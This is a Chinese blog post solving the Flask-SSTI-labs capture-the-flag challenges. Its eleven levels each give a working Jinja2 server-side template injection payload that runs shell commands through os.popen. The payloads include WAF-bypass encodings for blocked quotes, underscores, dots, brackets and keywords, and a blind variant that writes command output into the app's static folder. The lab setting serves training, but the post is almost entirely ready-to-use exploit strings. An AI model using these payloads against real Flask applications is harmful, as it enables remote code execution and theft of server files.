Flask-SSTI-labs 通关记录

Flask-SSTI-labs 通关记录

搭建环境

建议用nssctf在线 https://www.nssctf.cn/problem/13 直接用

PixPin_2025-07-21_10-39-33

Level 1 no waf

1
2
3
{% raw %}
{'code': "{{(sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()}}"}
{% endraw %}

Level 2 bl[‘{{’]

1
2
3
{% raw %}
{'code': "{%print (sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()%}"}
{% endraw %}

Level 3 no waf and blind

在 Flask 中,静态目录static)是用来存放静态文件的,例如:

  • CSS 样式表
  • JavaScript 脚本
  • 图片(如 PNG、JPG、SVG)
  • 字体文件(如 TTF、WOFF)
  • 其他前端资源

如何访问静态文件

在浏览器中访问的 URL 为:

1
http://localhost:5000/static/css/style.css

Flask 会自动将 static 目录中的文件映射为 /static/ 路径开头的 URL。

往 Flask 的静态目录写入一个文件,准备“盲打文件”然后从前端页面读取结果,这是一种盲注回显替代方式

1
2
3
{% raw %}
{{lipsum.__globals__['os'].popen('echo "test" >/app/static/1.txt').read()}}
{% endraw %}

成功写入 static 静态目录,

读取 flag:

1
2
3
{% raw %}
code={{lipsum.__globals__['os'].popen('echo `cat /app/flag` >/app/static/1.txt').read()}}
{% endraw %}

PixPin_2025-07-21_12-11-53

Level 4 bl[‘[’, ‘]’]

1
2
3
{% raw %}
{'code': "{{(sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()}}"}
{% endraw %}

Level 5 bl[‘’’, ‘“’]

1
2
3
{% raw %}
{'code': '{{(sbwaf.__eq__.__globals__.sys.modules.os.popen(((lipsum()|urlencode|first+dict(c=i)|join)*13)%(99,97,116,32,47,97,112,112,47,102,108,97,103))).read()}}'}
{% endraw %}

Level 6 bl[‘_’]

1
2
3
{% raw %}
{'code': '{{((sbwaf|attr("%c"%95+"%c"%95+\'eq\'+"%c"%95+"%c"%95))["%c"%95+"%c"%95+\'globals\'+"%c"%95+"%c"%95].sys.modules.os.popen(\'cat /app/flag\')).read()}}'}
{% endraw %}

Level 7 bl[‘.’]

1
2
3
{% raw %}
{'code': "{{((sbwaf|attr('__eq__'))['__globals__']['sys']['modules']['os']['popen']('cat /app/flag'))['read']()}}"}
{% endraw %}

Level 8 bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]

1
2
3
{% raw %}
{'code': "{{(sbwaf.__eq__['__g''lobals__'].sys.modules.os['po''pen']('cat /app/flag')).read()}}"}
{% endraw %}

Level 9 bl[‘0-9’]

1
2
3
{% raw %}
{'code': "{{(sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()}}"}
{% endraw %}

Level 10 set config = None

1
2
3
{% raw %}
{'code': "{{(sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()}}"}
{% endraw %}

Level 11 bl[‘’’, ‘“’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]

1
2
3
{% raw %}
{'code': '{{sbwaf|attr(lipsum|escape|batch(22)|list|first|last~lipsum|escape|batch(22)|list|first|last~dict(EQ=i)|first|lower~lipsum|escape|batch(22)|list|first|last~lipsum|escape|batch(22)|list|first|last)|attr(lipsum|escape|batch(22)|list|first|last~lipsum|escape|batch(22)|list|first|last~dict(GLOBALS=i)|first|lower~lipsum|escape|batch(22)|list|first|last~lipsum|escape|batch(22)|list|first|last)|attr(dict(GET=i)|first|lower)(dict(SYS=i)|first|lower)|attr(dict(MODULES=i)|first|lower)|attr(dict(GET=i)|first|lower)(dict(OS=i)|first|lower)|attr(dict(POPEN=i)|first|lower)(((lipsum()|urlencode|first~dict(c=i)|join)*13)%(99,97,116,32,47,97,112,112,47,102,108,97,103))|attr(dict(READ=i)|first|lower)()}}'}
{% endraw %}

Flask-SSTI-labs 通关记录
http://example.com/2025/07/21/Flask-SSTI-labs-通关记录/
作者
everythingis-ok
发布于
2025年7月21日
许可协议